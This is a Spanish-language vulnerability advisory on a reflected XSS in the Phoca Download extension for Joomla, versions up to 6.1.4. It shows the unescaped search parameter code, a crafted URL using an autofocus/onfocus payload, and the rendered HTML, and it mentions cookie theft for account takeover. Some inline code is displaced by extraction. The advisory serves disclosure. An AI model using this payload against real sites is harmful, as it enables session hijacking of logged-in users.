
Reflejo de XSS a través del parámetro GET de búsqueda en Phoca Download
search en Phoca DownloadPhoca Download ≤ 6.1.4 — Un atacante autenticado ejecuta JavaScript arbitrario mediante una URL de búsqueda manipulada en el Panel de Control de Usuario
Phoca Download (com_phocadownload) para Joomla contiene una vulnerabilidad de Cross-Site Scripting (XSS) reflejado en la funcionalidad de búsqueda de archivos del Panel de Control de Usuario. El parámetro GET search se procesa con el filtro de Joomla — que solo llama a y conserva el carácter — y luego se muestra sin dentro de un atributo HTML . Un atacante puede inyectar atributos HTML arbitrarios y manejadores de eventos que se ejecutan en el navegador de la víctima al cargar la página, sin requerir ninguna interacción del usuario más allá de hacer clic en un enlace manipulado.
'string'strip_tags()"htmlspecialchars()<input value="">| COMPONENTE | VULNERABLE | PROBADO EN | CORREGIDO |
|---|---|---|---|
| com_phocadownload | ≤ 6.1.4 | Joomla 5 + PhocaDownload 6.1.4 + MariaDB 10.6 | 6.1.5 |
Tipo: Cross-Site Scripting reflejado (CWE-79)
Autenticación requerida: Usuario de Joomla registrado (con sesión iniciada) + Panel de Control de Usuario habilitado (enable_user_cp = 1)
Token CSRF requerido: No requerido — solicitud GET, no se verifica token CSRF en esta ruta
Archivo sumidero: site/views/user/tmpl/default_files_bootstrap.php
El parámetro search se lee utilizando el filtro 'string' de Joomla, que solo llama a strip_tags(). Esto conserva el carácter ", lo que permite a un atacante salir del contexto del atributo value="" e inyectar atributos HTML arbitrarios.
SITE/VIEWS/USER/VIEW.HTML.PHP:252 — FUENTE
$search_files = $app->getUserStateFromRequest(
$this->_context_files.'.search', 'search', '', 'string'
);
$search_files = StringHelper::strtolower($search_files);
$lists_files['search'] = $search_files; // almacenado sin codificación
SITE/VIEWS/USER/TMPL/DEFAULT_FILES_BOOTSTRAP.PHP:56 — SUMIDERO (VULNERABLE)
<input type="text" name="search" id="pdsearch"
value="<?php echo $this->t['listsfiles']['search'];?>"
class="form-control" />
La vista hermana phocadownloadlinkfile (misma extensión) aplica correctamente PhocaDownloadUtils::filterValue($search, 'text') — equivalente a htmlspecialchars() — para el mismo campo de búsqueda. La vista user no aplica la misma protección, lo que indica una codificación de salida inconsistente dentro de la extensión.
Navegue a la página de inicio de sesión de Joomla y autentíquese como usuario Registrado. Después de un inicio de sesión exitoso, Joomla redirige a la página de perfil del usuario, confirmando una sesión activa.

Navegue al Panel de Control de Usuario de PhocaDownload:
http://TARGET/index.php?option=com_phocadownload&view=user
La página se renderiza con un campo de búsqueda vacío (value=""). Este es el estado normal antes de la inyección.

Navegue a la siguiente URL manipulada (o escriba el payload sin procesar directamente en el cuadro de búsqueda):
http://TARGET/index.php?option=com_phocadownload&view=user&search=%22%20autofocus%20onfocus%3Dalert%28document.domain%29%20x%3D

Al cargar la página, el atributo autofocus inyectado enfoca el elemento de entrada, activando inmediatamente el manejador de eventos onfocus. No se requiere ninguna interacción adicional del usuario.
HTML renderizado (vulnerable):
<input type="text" name="search" id="pdsearch"
value="" autofocus onfocus=alert(document.domain) x="
class="form-control" />
document.cookie, lo que permite la toma completa de la cuenta sin credenciales.